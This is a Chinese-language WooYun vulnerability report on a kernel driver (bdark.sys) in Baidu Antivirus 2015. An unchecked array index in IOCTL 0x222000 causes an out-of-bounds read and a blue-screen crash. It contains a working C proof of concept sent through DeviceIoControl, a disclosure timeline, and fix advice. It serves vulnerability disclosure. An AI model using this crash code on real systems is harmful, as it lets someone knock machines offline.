当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0122824

漏洞标题：Baidu Antivirus2015某驱动拒绝服务漏洞

相关厂商：百度

漏洞作者： 路人甲

提交时间：2015-07-06 10:21

修复时间：2015-10-09 10:23

公开时间：2015-10-09 10:23

漏洞类型：拒绝服务

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-06： 细节已通知厂商并且等待厂商处理中
2015-07-11： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-09-04： 细节向核心白帽子及相关领域专家公开
2015-09-14： 细节向普通白帽子公开
2015-09-24： 细节向实习白帽子公开
2015-10-09： 细节向公众公开

简要描述：

Baidu Antivirus2015的bdark.sys驱动对IRP_MJ_DEVICE_CONTROL的处理存在一处漏洞，在数组读取时没有判断上限，导致越界访问，引发BSOD。

详细说明：

1.软件版本

version.jpg


2.bdark.sys版本：2015.4.10.10010
3.漏洞分析：
bdark.sys在IRP_MJ_DEVICE_CONTROL的处理函数中，对IoControlCode=0x222000的处理逻辑存在漏洞，没有判断InputBuffer前4个字节（当作DWORD使用）的长度上限，输入超长数值时，会导致数组读取越界，引发拒绝服务。

漏洞证明：

void Fuzz2(HANDLE hDev)
{
	DWORD dwReturned = 0;
	char input[4096] = { 0 };
	char output[4096] = { 0 };
	*((DWORD*)input) = 0xffff0000;
	DeviceIoControl(hDev,
		0x222000,
		(LPVOID)input,
		4,
		(LPVOID)output,
		0x60,
		&dwReturned,
		NULL);
}
void Fuzz1()
{
	LPCTSTR DevName = _T("\\\\.\\foooo_dev");
	HANDLE hDev = CreateFile(DevName,
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	if(INVALID_HANDLE_VALUE != hDev)
	{
		Fuzz2(hDev);
		CloseHandle(hDev);
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	Fuzz1();
	return 0;
}

修复方案：

驱动做数组访问时，要对长度做检查，不要越界访问。
不要完全信任上层传入的数据。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-09 10:23

厂商回复：

漏洞Rank：2 (WooYun评价)

最新状态：

暂无